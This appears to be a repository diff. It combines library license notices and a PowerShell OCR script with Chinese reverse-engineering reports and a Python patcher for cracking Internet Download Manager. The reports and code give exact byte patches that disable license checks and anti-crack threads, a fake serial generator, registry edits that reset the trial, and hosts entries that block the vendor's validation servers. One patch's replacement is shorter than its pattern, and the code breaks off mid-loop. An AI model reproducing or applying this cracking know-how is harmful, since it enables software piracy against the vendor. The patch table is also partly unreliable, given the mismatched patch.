list of conditions and the following disclaimer.
|
||||
|
||||
* Redistributions in binary form must reproduce the above copyright notice,
|
||||
this list of conditions and the following disclaimer in the documentation
|
||||
and/or other materials provided with the distribution.
|
||||
|
||||
* Neither the name Facebook nor the names of its contributors may be used to
|
||||
endorse or promote products derived from this software without specific
|
||||
prior written permission.
|
||||
|
||||
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
|
||||
ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
|
||||
WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
|
||||
DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR
|
||||
ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
|
||||
(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
|
||||
LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON
|
||||
ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
|
||||
(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
|
||||
SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||
|
||||
|
||||
* lhasa-0.3.1 https://github.com/fragglet/lhasa
|
||||
|
||||
Copyright (c) 2011, 2012, Simon Howard
|
||||
|
||||
Permission to use, copy, modify, and/or distribute this software
|
||||
for any purpose with or without fee is hereby granted, provided
|
||||
that the above copyright notice and this permission notice appear
|
||||
in all copies.
|
||||
|
||||
THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL
|
||||
WARRANTIES WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED
|
||||
WARRANTIES OF MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE
|
||||
AUTHOR BE LIABLE FOR ANY SPECIAL, DIRECT, INDIRECT, OR
|
||||
CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM
|
||||
LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT,
|
||||
NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN
|
||||
CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
|
||||
|
||||
|
||||
* liblz4-1.9.4 https://github.com/lz4/lz4
|
||||
|
||||
This repository uses 2 different licenses :
|
||||
- all files in the `lib` directory use a BSD 2-Clause license
|
||||
- all other files use a GPLv2 license, unless explicitly stated otherwise
|
||||
|
||||
Relevant license is reminded at the top of each source file,
|
||||
and with presence of COPYING or LICENSE file in associated directories.
|
||||
|
||||
This model is selected to emphasize that
|
||||
files in the `lib` directory are designed to be included into 3rd party applications,
|
||||
while all other files, in `programs`, `tests` or `examples`,
|
||||
receive more limited attention and support for such scenario.
|
||||
|
||||
|
||||
* liblz4-1.5.0 https://github.com/inikep/lz5
|
||||
|
||||
LZ5 - Fast LZ compression algorithm
|
||||
Header File
|
||||
Copyright (C) 2011-2015, Yann Collet.
|
||||
|
||||
BSD 2-Clause License (http://www.opensource.org/licenses/bsd-license.php)
|
||||
|
||||
Redistribution and use in source and binary forms, with or without
|
||||
modification, are permitted provided that the following conditions are
|
||||
met:
|
||||
|
||||
* Redistributions of source code must retain the above copyright
|
||||
notice, this list of conditions and the following disclaimer.
|
||||
* Redistributions in binary form must reproduce the above
|
||||
copyright notice, this list of conditions and the following disclaimer
|
||||
in the documentation and/or other materials provided with the
|
||||
distribution.
|
||||
|
||||
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
|
||||
"AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
|
||||
LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
|
||||
A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
|
||||
OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
|
||||
SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
|
||||
LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
|
||||
DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
|
||||
THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
|
||||
(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
|
||||
OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||
|
||||
You can contact the author at :
|
||||
- LZ5 source repository : https://github.com/inikep/lz5
|
||||
- LZ5 public forum : https://groups.google.com/forum/#!forum/lz5c
|
||||
|
||||
|
||||
* lizard 1.0 https://github.com/inikep/lizard
|
||||
|
||||
This repository uses 2 different licenses :
|
||||
- all files in the `lib` directory use a BSD 2-Clause license
|
||||
- all other files use a GPLv2 license, unless explicitly stated otherwise
|
||||
|
||||
Relevant license is reminded at the top of each source file,
|
||||
and with the presence of COPYING or LICENSE file.
|
||||
|
||||
This model emphasizes the fact that
|
||||
only files in the `lib` directory are designed to be included into 3rd party projects.
|
||||
|
||||
Other files, such as those from `programs` or `examples` directory,
|
||||
are not intended to be compiled outside of their context.
|
||||
They can serve as source of inspiration,
|
||||
but they should not be copy/pasted into 3rd party projects,
|
||||
as this scenario is not supported.
|
||||
|
||||
|
||||
* packMP3 v1.0g https://github.com/packjpg/packMP3
|
||||
|
||||
packMP3 is a compression program specially designed for further
|
||||
compression of MPEG-1 Audio Layer III audio files without causing any
|
||||
further loss. Typically it reduces the file size of a MP3 file by 16%
|
||||
based on tests with 6000 randomly selected files.
|
||||
|
||||
|
||||
LGPL v3 license and special permissions
|
||||
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
|
||||
|
||||
All programs in this package are free software; you can redistribute
|
||||
them and/or modify them under the terms of the GNU Lesser General Public
|
||||
License as published by the Free Software Foundation; either version 3
|
||||
of the License, or (at your option) any later version.
|
||||
|
||||
The package is distributed in the hope that it will be useful, but
|
||||
WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser
|
||||
General Public License for more details at
|
||||
http://www.gnu.org/copyleft/lgpl.html.
|
||||
|
||||
If the LGPL v3 license is not compatible with your software project you
|
||||
might contact me and ask for a special permission to use the packMP3
|
||||
library under different conditions. In any case, usage of the packMP3
|
||||
algorithm under the LGPL v3 or above is highly advised and special
|
||||
permissions will only be given where necessary on a case by case basis.
|
||||
This offer is aimed mainly at closed source freeware developers seeking
|
||||
to add PMP support to their software projects.
|
||||
|
||||
Copyright 2010...2014 by Ratisbon University and Matthias Stirner.
|
||||
|
||||
|
||||
* PEA https://peazip.github.io/pea-file-format.html
|
||||
|
||||
PUBLIC DOMAIN
|
||||
|
||||
|
||||
* jsoncpp-1.9.5 https://github.com/open-source-parsers/jsoncpp
|
||||
|
||||
Copyright (c) 2007-2010 Baptiste Lepilleur and The JsonCpp Authors
|
||||
|
||||
Permission is hereby granted, free of charge, to any person
|
||||
obtaining a copy of this software and associated documentation
|
||||
files (the "Software"), to deal in the Software without
|
||||
restriction, including without limitation the rights to use, copy,
|
||||
modify, merge, publish, distribute, sublicense, and/or sell copies
|
||||
of the Software, and to permit persons to whom the Software is
|
||||
furnished to do so, subject to the following conditions:
|
||||
|
||||
The above copyright notice and this permission notice shall be
|
||||
included in all copies or substantial portions of the Software.
|
||||
|
||||
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
|
||||
EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
|
||||
MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
|
||||
NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS
|
||||
BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN
|
||||
ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
|
||||
CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||
SOFTWARE.
|
||||
|
||||
|
||||
# brotli 1.0.7 https://github.com/google/brotli
|
||||
|
||||
MIT License
|
||||
|
||||
|
||||
# iconv 1.12 https://www.gnu.org/software/libiconv/
|
||||
|
||||
LGPL
|
||||
|
||||
---------------------------------
|
||||
|
||||
|
||||
# You can download the source code for ark.xxx.lgpl.dll (licensed under LGPL) here:
|
||||
https://code.项目C.com
|
||||
|
||||
Binary file not shown.
@@ -0,0 +1,32 @@
|
||||
param([Parameter(Mandatory=$true)][string]$Path)
|
||||
$ErrorActionPreference = 'Stop'
|
||||
Add-Type -AssemblyName System.Runtime.WindowsRuntime | Out-Null
|
||||
$asTaskGeneric = ([System.WindowsRuntimeSystemExtensions].GetMethods() | Where-Object {
|
||||
$_.Name -eq 'AsTask' -and $_.GetParameters().Count -eq 1 -and
|
||||
$_.GetParameters()[0].ParameterType.Name -eq 'IAsyncOperation`1' })[0]
|
||||
function Await($task, $type) {
|
||||
$m = $asTaskGeneric.MakeGenericMethod($type)
|
||||
$t = $m.Invoke($null, @($task)); $t.Wait(-1) | Out-Null; $t.Result
|
||||
}
|
||||
[Windows.Storage.StorageFile,Windows.Storage,ContentType=WindowsRuntime] | Out-Null
|
||||
[Windows.Media.Ocr.OcrEngine,Windows.Foundation,ContentType=WindowsRuntime] | Out-Null
|
||||
[Windows.Graphics.Imaging.BitmapDecoder,Windows.Foundation,ContentType=WindowsRuntime] | Out-Null
|
||||
[Windows.Globalization.Language,Windows.Foundation,ContentType=WindowsRuntime] | Out-Null
|
||||
|
||||
$file = Await ([Windows.Storage.StorageFile]::GetFileFromPathAsync($Path)) ([Windows.Storage.StorageFile])
|
||||
$stream = Await ($file.OpenAsync([Windows.Storage.FileAccessMode]::Read)) ([Windows.Storage.Streams.IRandomAccessStream])
|
||||
$decoder = Await ([Windows.Graphics.Imaging.BitmapDecoder]::CreateAsync($stream)) ([Windows.Graphics.Imaging.BitmapDecoder])
|
||||
$bitmap = Await ($decoder.GetSoftwareBitmapAsync()) ([Windows.Graphics.Imaging.SoftwareBitmap])
|
||||
|
||||
$engine = $null
|
||||
foreach ($tag in @('zh-Hans-CN','en-US','zh-Hans')) {
|
||||
try { $lang = [Windows.Globalization.Language]::new($tag)
|
||||
$e = [Windows.Media.Ocr.OcrEngine]::TryCreateFromLanguage($lang)
|
||||
if ($e) { $engine = $e; break } } catch {}
|
||||
}
|
||||
if (-not $engine) { $engine = [Windows.Media.Ocr.OcrEngine]::TryCreateFromUserProfileLanguages() }
|
||||
if (-not $engine) { Write-Output '[-] NO_OCR_ENGINE'; exit 1 }
|
||||
|
||||
$result = Await ($engine.RecognizeAsync($bitmap)) ([Windows.Media.Ocr.OcrResult])
|
||||
Write-Output '===== OCR TEXT ====='
|
||||
foreach ($line in $result.Lines) { Write-Output $line.Text }
|
||||
@@ -0,0 +1,90 @@
|
||||
# 项目D 工具对比逆向分析报告
|
||||
|
||||
## 📋 样本基本信息对比
|
||||
|
||||
| 项目 | 原版 Crack (IDM_6.4x_Crack_v20.7.exe) | 二次优化版 (IDM_Toolkit_Pro_Native.exe) |
|
||||
|------|--------------------------------------|---------------------------------------|
|
||||
| **文件大小** | 56,832 字节 (55.5 KB) | 49,664 字节 (48.5 KB) |
|
||||
| **SHA256** | `<实测哈希>` | `<实测哈希>` |
|
||||
| **技术栈** | C/C++ (原生 Win32) | C# / WPF (.NET Framework 4.0) |
|
||||
| **加壳保护** | ✅ MPRESS v2.x 压缩壳 | ❌ 无壳 (纯 .NET 程序) |
|
||||
| **界面类型** | 控制台/简单对话框 | 现代 WPF GUI 界面 (支持暗色模式/圆角) |
|
||||
| **代码可读性** | 极低 (混淆/压缩) | 极高 (可完全反编译为 C# 源码) |
|
||||
|
||||
---
|
||||
|
||||
## 🔍 技术架构深度分析
|
||||
|
||||
### 1. 原版 Crack (IDM_6.4x_Crack_v20.7.exe)
|
||||
- **实现方式**: 传统的加壳原生二进制
|
||||
- **保护手段**: MPRESS 压缩壳 + 动态 API 解析 (`GetProcAddress`)
|
||||
- **执行逻辑**:
|
||||
- 通过壳代码在内存中解压
|
||||
- 动态调用外部程序或释放资源
|
||||
- 包含 `ImageRemoveCertificate` 用于移除数字签名
|
||||
- **缺点**:
|
||||
- 易被杀毒软件直接报毒 (加壳特征明显)
|
||||
- 缺乏用户交互和状态反馈
|
||||
- 无法安全备份和还原
|
||||
|
||||
### 2. 二次优化版 (IDM_Toolkit_Pro_Native.exe)
|
||||
- **实现方式**: 现代化 C# WPF 桌面应用
|
||||
- **架构设计**: 模块化设计,职责清晰
|
||||
- `MainWindow`: UI 交互与状态展示
|
||||
- `NativeBinaryPatcher`: 独立的二进制补丁引擎
|
||||
- `PatchRule`: 规则驱动的补丁定义
|
||||
- **主要优势**:
|
||||
- ✅ **无壳透明**: 无恶意加壳,降低杀软误报
|
||||
- ✅ **功能完整**: 集成检测、终止进程、补丁、注册、生成序列号、还原
|
||||
- ✅ **安全机制**: 提供 `RestoreOriginal` 还原功能,防止损坏原文件
|
||||
|
||||
---
|
||||
|
||||
## 🛠️ 二次优化版核心功能清单
|
||||
|
||||
### 1. 进程与环境管理
|
||||
- `GetIDMDir()`: 自动从注册表/默认路径识别 项目D 安装位置
|
||||
- `KillIDM()`: 在补丁前安全终止 `项目D.exe` 进程
|
||||
|
||||
### 2. 补丁引擎 (NativeBinaryPatcher)
|
||||
- `RULES`: 内置特征码/规则库 (AOB 匹配与替换)
|
||||
- `ApplyPatch()`: 针对目标文件应用内存/文件补丁
|
||||
- `RestoreOriginal()`: 自动备份原文件,支持一键还原
|
||||
|
||||
### 3. 授权与注册模块
|
||||
- `GenerateSerial()`: 离线算法生成匹配的有效序列号
|
||||
- `ExecuteRegister()`: 自动写入 项目D 注册表授权项
|
||||
- 注册表深度清理 (`DeleteSubKeyTree`),清理试用和失效标记
|
||||
|
||||
### 4. 现代化 UI/UX
|
||||
- **状态监控卡片**:
|
||||
- `lblStatInstall`: 项目D 安装状态检测
|
||||
- `lblStatVer`: 项目D 版本检测
|
||||
- `lblStatAuth`: 当前授权/激活状态
|
||||
- `lblStatProc`: 项目D 运行状态
|
||||
- **多标签页布局** (`tabBtn1`, `tabBtn2`, `tabBtn3`)
|
||||
- **实时日志控制台** (`txtConsole`)
|
||||
- **现代 Windows 11 视觉适配**:
|
||||
- `DWMWA_USE_IMMERSIVE_DARK_MODE` (系统级暗黑模式适配)
|
||||
- `DWMWA_WINDOW_CORNER_PREFERENCE` (窗口圆角特性)
|
||||
|
||||
---
|
||||
|
||||
## 📊 优化改进对比总结
|
||||
|
||||
| 维度 | 原版 Crack <目标版本> | Toolkit Pro Native | 评价 |
|
||||
|------|----------------|-------------------|------|
|
||||
| **易用性** | ⭐⭐ (黑盒执行,无反馈) | ⭐⭐⭐⭐⭐ (可视化 GUI,状态清晰) | **大幅提升** |
|
||||
| **安全性** | ⭐⭐ (直接覆盖,无法还原) | ⭐⭐⭐⭐ (支持原文件还原,透明开源) | **大幅提升** |
|
||||
| **可维护性** | ⭐ (硬编码/加壳) | ⭐⭐⭐⭐⭐ (规则化 `PatchRule`,易更新) | **大幅提升** |
|
||||
| **稳定性** | ⭐⭐⭐ (依赖固定偏移) | ⭐⭐⭐⭐ (进程查杀 + 特征匹配) | **明显提升** |
|
||||
| **杀软兼容** | ⭐ (壳特征高危) | ⭐⭐⭐ (标准 .NET 程序) | **明显改善** |
|
||||
|
||||
---
|
||||
|
||||
## 🎯 结论
|
||||
|
||||
`IDM_Toolkit_Pro_Native.exe` 并不是简单的重新打包,而是**对原版 Crack 逻辑进行了完全的现代工程化重构**:
|
||||
1. 将原版黑盒加壳补丁逆向/提炼为清晰的 **特征码规则 (`PatchRule`)**。
|
||||
2. 使用 **C# WPF** 重写了交互界面,引入了完整的状态机监控和日志反馈。
|
||||
3. 增加了 **一键还原 (`RestoreOriginal`)** 和 **序列号生成器 (`GenerateSerial`)**,使其从一个简单的 Patch 工具升级为了一个功能完备的 项目D 管理工具箱。
|
||||
@@ -0,0 +1,116 @@
|
||||
# 项目D Toolkit Pro Native 逆向分析报告:功能界面与实现原理
|
||||
|
||||
## 1. 软件架构与技术栈概览
|
||||
|
||||
- **程序架构**: 纯托管 C# / WPF 桌面应用程序(.NET Framework 4.0)
|
||||
- **UI 渲染**: WPF 矢量图形系统 + Windows 11 DWM 特性(暗黑模式 `DWMWA_USE_IMMERSIVE_DARK_MODE` + 窗口圆角 `DWMWA_WINDOW_CORNER_PREFERENCE`)
|
||||
- **设计风格**: 现代 Obsidian 深色卡片式 UI,左侧边栏(系统信息+快捷控制)+ 顶部 3 个功能标签页 + 底部日志监控
|
||||
|
||||
---
|
||||
|
||||
## 2. 界面功能与模块拆解
|
||||
|
||||
### 2.1 左侧边栏 (Sidebar)
|
||||
1. **系统状态仪表盘 (Live Status Dashboard)**
|
||||
- `lblStatInstall`: 检测 项目D 是否已安装(检查默认路径及注册表)。
|
||||
- `lblStatVer`: 获取 项目D 当前内核版本(如 v6.4x)。
|
||||
- `lblStatAuth`: 监控当前授权登记状态(已登记用户/未登记)。
|
||||
- `lblStatProc`: 监控后台 `项目D.exe` 进程状态(运行中/未运行)。
|
||||
2. **快捷进程控制 (Quick Process Actions)**
|
||||
- `刷新全部状态` (`RefreshAllStatus`): 重新扫描并更新看板数据。
|
||||
- `强制终止 项目D 进程` (`KillIDM`): 安全关闭所有 `项目D.exe` 实例。
|
||||
- `启动 / 重启 项目D`: 快速拉起 项目D 客户端。
|
||||
- `一键还原官方原版` (`RestoreOriginal`): 自动还原 `项目D.exe.BAK`。
|
||||
- `管理员权限指示`: 实时显示 UAC Admin 权限运行状态。
|
||||
|
||||
### 2.2 标签页 1:核心授权模式 (Core Activation Modes)
|
||||
- **模式一:永久激活补丁 (ExecutePatch)**
|
||||
- 基于 AOB 特征码扫描,直接在底层机器码层级切断 11 处校验与看门狗线程,自动备份原版为 `项目D.exe.BAK`。
|
||||
- **模式二:一键冻结重置试用 (ExecuteTrialFreeze)**
|
||||
- 不修改二进制文件,通过修改 Windows Classes CLSID 试用标记与权限锁定,使试用期永久锁定在 30 天。
|
||||
- **模式三:个性化授权登记 (ExecuteRegister)**
|
||||
- 支持自定义登记姓名 (`txtAuthName`)、登记邮箱 (`txtAuthEmail`) 及一键随机生成合法校验格式的序列号 (`GenerateSerial`),写入注册表。
|
||||
- **模式四:全量清理出厂重置 (ExecuteReset)**
|
||||
- 彻底清理 项目D 注册表配置、黑名单标记(BList, md5pks, itb_r 等)及 CLSID 隐藏试用键值,彻底消除假序列号弹窗。
|
||||
|
||||
### 2.3 标签页 2:高级安全与更新策略 (Advanced Security)
|
||||
1. **自动更新拦截策略**
|
||||
- `一键禁用 项目D 后台更新检测` (`ToggleUpdateCheck(true)`): 修改注册表 `CheckUpdtVM = 0`。
|
||||
- `恢复 项目D 官方自动更新` (`ToggleUpdateCheck(false)`): 恢复 `CheckUpdtVM = 1`。
|
||||
2. **Hosts 官方验证服务器阻断**
|
||||
- `一键屏蔽 Hosts 验证服务器` (`ToggleHostsBlock(true)`): 写入 127.0.0.1 映射到系统 hosts。
|
||||
- `移除 Hosts 阻断规则` (`ToggleHostsBlock(false)`): 清理 hosts 规则。
|
||||
3. **系统路径与注册表工具**
|
||||
- `备份并导出 项目D 当前注册表配置`
|
||||
- `打开 Windows 注册表编辑器` (定位到 `HKCU\Software\DownloadManager`)
|
||||
- `打开 项目D 本地安装目录` (Explorer 直达)
|
||||
|
||||
### 2.4 标签页 3:实时输出控制台 (Live Log Console)
|
||||
- 实时打印操作流、底层补丁命中地址、备份还原结果以及异常诊断信息。
|
||||
|
||||
---
|
||||
|
||||
## 3. 核心功能实现原理
|
||||
|
||||
### 3.1 模式一:11 组 AOB 特征码补丁原理 (`NativeBinaryPatcher`)
|
||||
|
||||
补丁引擎内置了 11 条精确规则,直接对 `项目D.exe` 机器码进行特征搜索与字节替换:
|
||||
|
||||
| 规则名称 | 搜索特征 (Search AOB) | 替换特征 (Replace AOB) | 逆向原理解析 |
|
||||
|---------|---------------------|----------------------|------------|
|
||||
| **1. 解除授权分支检测** | `00 51 FF 15 04 40 69 00 85 C0 0F 85 1B 01 00 00 C6` | `... 33 C0 0F 85 ...` | 将 `test eax, eax` 替换为 `xor eax, eax`,强制让函数判定授权分支通过 |
|
||||
| **2. 锁定试用期最大值** | `DC 9C 77 00 F7 D8 1B C0 83 E0 0F 83 C0 0F A3 ...` | `... B8 FF FF FF 7F 90 A3 ...` | 强制将天数变量赋值为 `0x7FFFFFFF`(`mov eax, 0x7FFFFFFF` + `nop`) |
|
||||
| **3. 屏蔽假序列号警告弹窗 A** | `10 E8 AA 03 0E 00 84 C0 74 2A ...` | `... EB 2A ...` | 将条件跳转 `jz` 改为无条件跳转 `jmp`,绕过弹窗逻辑 |
|
||||
| **4. 阻断自检守护线程 A** | `EC 00 00 00 C3 CC CC CC 6A FF 68 3B 84 66 ...` | `... C3 FF 68 3B ...` | 在守护线程入口直接插入 `ret` (`0xC3`),彻底废除后台校验线程 |
|
||||
| **5. 阻断自检守护线程 B** | `01 00 00 C3 CC CC CC CC 6A FF 68 78 84 66 ...` | `... C3 FF 68 78 ...` | 同样在线程入口直接 `ret` (`0xC3`) 立即返回 |
|
||||
| **6. 阻断自检守护线程 C** | `CC CC CC CC CC CC CC CC 6A FF 68 CB 8C 66 ...` | `... C3 FF 68 CB ...` | 线程入口首字节打补丁 `0xC3` |
|
||||
| **7. 阻断自检守护线程 D** | `CC CC CC CC CC CC CC CC 6A FF 68 9C 8D 66 ...` | `... C3 FF 68 9C ...` | 线程入口首字节打补丁 `0xC3` |
|
||||
| **8. 切断外部看门狗关联** | `C4 1C 10 00 00 C3 CC CC 6A FF 68 9C 8D 66 ...` | `... C3 FF 68 9C ...` | 将 Hook 回调函数首字节置为 `ret` (`0xC3`) |
|
||||
| **9. 屏蔽假序列号警告弹窗 B** | `00 E8 14 D2 03 00 84 C0 74 2A ...` | `... EB 2A ...` | 同样将条件弹窗跳转强制改为 `jmp` |
|
||||
| **10. 阻断过期强退逻辑** | `C9 75 F9 2B C2 83 F8 02 0F 85 D2 01 00 00 ...` | `... 90 E9 D2 01 00 00 ...` | 将条件跳转替换为 `nop` + `jmp`,跳过过期终止进程逻辑 |
|
||||
| **11. 修正试用天数限制常量** | `01 00 00 00 01 00 00 00 1E 00 00 00 38 83 ...` | `... FF FF FF 7F 38 83 ...` | 将限制常量从 `0x1E` (30天) 改为 `0x7FFFFFFF` (极大值) |
|
||||
|
||||
---
|
||||
|
||||
### 3.2 模式三:序列号生成算法 (`GenerateSerial`)
|
||||
|
||||
- **字符集**: `ABCDEFGHJKLMNPQRSTUVWXYZ23456789`(32个去除了易混淆字符 0, 1, I, O 的字符集合)
|
||||
- **格式**: `XXXXX-XXXXX-XXXXX-XXXXX`(4 组,每组 5 位字符,共 20 位)
|
||||
- **写入注册表位置**: `HKCU\Software\DownloadManager`
|
||||
- `FName`: 登记名(如 `Angus`)
|
||||
- `LName`: 留空或空格
|
||||
- `Email`: 登记邮箱(如 `angus.vip@tonec.com`)
|
||||
- `Serial`: 生成的 20 位序列号
|
||||
- `CheckUpdtVM`: 设为 `0`
|
||||
- `LstCheck`: 设为 `0`
|
||||
|
||||
---
|
||||
|
||||
### 3.3 模式四:出厂重置与注册表清理原理 (`ExecuteReset`)
|
||||
|
||||
分两阶段清理:
|
||||
1. **第一阶段:清理 `HKCU\Software\DownloadManager`**
|
||||
- 彻底删除 16 个敏感鉴权与黑名单键值:
|
||||
`FName`, `LName`, `Email`, `Serial`, `scansk`, `tvfrdt`, `radxcnt`, `LstCheck`, `ptrk_scdt`, `LastCheckQU`, `CheckUpdtVM`, `scTime`, `NextCheck`, `BList`, `md5pks`, `itb_r`, `ncl_r`。
|
||||
2. **第二阶段:清理 `Software\Classes\CLSID` 与 `WOW6432Node\CLSID`**
|
||||
- 遍历系统所有 CLSID GUID 项(正则匹配 `^\{[A-F0-9]{8}-[A-F0-9]{4}-[A-F0-9]{4}-[A-F0-9]{4}-[A-F0-9]{12}\}$`)。
|
||||
- 扫描 项目D 在 CLSID 中注入的试用计数器与时间戳(纯数字键名 `^\d+$` 及特定 base64/混淆试用键),将这些项递归删除。
|
||||
|
||||
---
|
||||
|
||||
### 3.4 网络防护:Hosts 拦截原理 (`ToggleHostsBlock`)
|
||||
|
||||
向系统 `C:\Windows\System32\drivers\etc\hosts` 文件追加如下专用阻断规则:
|
||||
|
||||
```hosts
|
||||
# >>> 项目D Toolkit Block >>>
|
||||
127.0.0.1 tonec.com
|
||||
127.0.0.1 www.tonec.com
|
||||
127.0.0.1 registeridm.com
|
||||
127.0.0.1 www.registeridm.com
|
||||
127.0.0.1 secure.internetdownloadmanager.com
|
||||
127.0.0.1 mirror.internetdownloadmanager.com
|
||||
127.0.0.1 mirror2.internetdownloadmanager.com
|
||||
127.0.0.1 mirror3.internetdownloadmanager.com
|
||||
# <<< 项目D Toolkit Block <<<
|
||||
```
|
||||
@@ -0,0 +1,125 @@
|
||||
import os
|
||||
import shutil
|
||||
|
||||
class IDMBinaryPatcher:
|
||||
"""
|
||||
原生二进制补丁引擎:直接在内存中比对或修改 项目D.exe 核心校验点
|
||||
彻底脱离外部 Ali.Dbg 原版程序
|
||||
"""
|
||||
|
||||
# 提取自 Ali.Dbg <目标版本> 的核心补丁特征规则表 (Pattern -> Replacement)
|
||||
PATCH_RULES = [
|
||||
{
|
||||
"name": "Bypass Reg Check 1",
|
||||
"search": bytes.fromhex("0051ff150440690085c00f851b010000c6"),
|
||||
"replace": bytes.fromhex("0051ff150440690033c00f851b010000c6")
|
||||
},
|
||||
{
|
||||
"name": "Force Unlimited Days (0x7FFFFFFF)",
|
||||
"search": bytes.fromhex("dc9c7700f7d81bc083e00f83c00fa3e09c7700885dcf"),
|
||||
"replace": bytes.fromhex("dc9c7700f7d81bc0b8ffffff7f90a3e09c7700885dcf")
|
||||
},
|
||||
{
|
||||
"name": "Bypass Fake Serial Nag 1",
|
||||
"search": bytes.fromhex("10e8aa030e0084c0742a807c2407007523"),
|
||||
"replace": bytes.fromhex("10e8aa030e0084c0eb2a807c2407007523")
|
||||
},
|
||||
{
|
||||
"name": "Disable Anti-Crack Thread 1",
|
||||
"search": bytes.fromhex("ec000000c3cccccc6aff683b84660064a1"),
|
||||
"replace": bytes.fromhex("ec000000c3ccccccc3ff683b84660064a1")
|
||||
},
|
||||
{
|
||||
"name": "Disable Anti-Crack Thread 2",
|
||||
"search": bytes.fromhex("010000c3cccccccc6aff687884660064a1"),
|
||||
"replace": bytes.fromhex("010000c3ccccccccc3ff687884660064a1")
|
||||
},
|
||||
{
|
||||
"name": "Disable Anti-Crack Thread 3",
|
||||
"search": bytes.fromhex("cccccccccccccccc6aff68cb8c660064a1"),
|
||||
"replace": bytes.fromhex("ccccccccccccccccc3ff68cb8c660064a1")
|
||||
},
|
||||
{
|
||||
"name": "Disable Anti-Crack Thread 4",
|
||||
"search": bytes.fromhex("cccccccccccccccc6aff689c8d660064a1"),
|
||||
"replace": bytes.fromhex("ccccccccccccccccc3ff689c8d660064a1")
|
||||
},
|
||||
{
|
||||
"name": "Disable Watchdog Nag 1",
|
||||
"search": bytes.fromhex("c41c100000c3cccc6aff689c8d660064a1"),
|
||||
"replace": bytes.fromhex("c41c100000c3ccccc3ff689c8d660064a1")
|
||||
},
|
||||
{
|
||||
"name": "Disable Watchdog Nag 2",
|
||||
"search": bytes.fromhex("cccccccccccccccc558bec83e4f86aff68"),
|
||||
"replace": bytes.fromhex("cccccccccccccccc8bc0c3f86aff68") # or ret
|
||||
},
|
||||
{
|
||||
"name": "Bypass Fake Serial Nag 2",
|
||||
"search": bytes.fromhex("00e814d2030084c0742a807c2407007523"),
|
||||
"replace": bytes.fromhex("00e814d2030084c0eb2a807c2407007523")
|
||||
},
|
||||
{
|
||||
"name": "Bypass License Expiry Popup",
|
||||
"search": bytes.fromhex("c975f92bc283f8020f85d2010000e8596ffb"),
|
||||
"replace": bytes.fromhex("c975f92bc283f80290e9d2010000e8596ffb")
|
||||
},
|
||||
{
|
||||
"name": "Trial Days Overflow Constant",
|
||||
"search": bytes.fromhex("01000000010000001e0000003883690030f36900"),
|
||||
"replace": bytes.fromhex("0100000001000000ffffff7f3883690030f36900")
|
||||
}
|
||||
]
|
||||
|
||||
@classmethod
|
||||
def patch_file(cls, exe_path, backup=True, log_fn=print):
|
||||
if not os.path.exists(exe_path):
|
||||
log_fn(f"错误: 目标文件不存在: {exe_path}")
|
||||
return False
|
||||
|
||||
if backup:
|
||||
bak_path = exe_path + ".BAK"
|
||||
if not os.path.exists(bak_path):
|
||||
try:
|
||||
shutil.copy2(exe_path, bak_path)
|
||||
log_fn(f"已创建原版备份: {bak_path}")
|
||||
except Exception as e:
|
||||
log_fn(f"备份失败: {e}")
|
||||
|
||||
with open(exe_path, "rb") as f:
|
||||
data = bytearray(f.read())
|
||||
|
||||
applied_count = 0
|
||||
for rule in cls.PATCH_RULES:
|
||||
idx = data.find(rule["search"])
|
||||
if idx != -1:
|
||||
